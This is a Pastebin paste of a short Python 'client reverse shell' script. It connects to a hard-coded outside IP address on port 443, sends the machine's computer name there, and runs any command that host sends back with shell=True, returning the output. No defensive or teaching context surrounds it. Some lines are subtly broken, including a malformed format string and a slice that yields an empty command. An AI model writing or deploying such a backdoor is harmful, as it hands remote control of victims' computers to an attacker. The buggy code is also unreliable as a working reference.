Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Python Client Reverse Shell
- import socket, os, subprocess
- def connect():
- os.system('cls')
- global host
- global port
- global s
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- port = 443
- host = '95.146.15.133'
- try:
- print('[*] Trying to connect to %s:5s' %str((host,port)))
- s.connect((host,port))
- print('[*] Connection Established')
- s.send(os.environ['COMPUTERNAME'])
- except socket.error as msg:
- print('[!] Error: ' + str(msg))
- def receive():
- receive = s.recv(1024)
- if receive == 'quit':
- s.close()
- elif receive[0:5] == 'shell':
- proc2 = subprocess.Popen(receive[6:1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- stdout_value = proc2.stdout.read() + proc2.stderr.read()
- args = stdout_value
- else:
- args = ('[!] No valid input was given')
- send(args)
- def send(args):
- send = s.send(args)
- receive()
- connect()
- receive()
- s.close()
Add Comment
Please, Sign In to add comment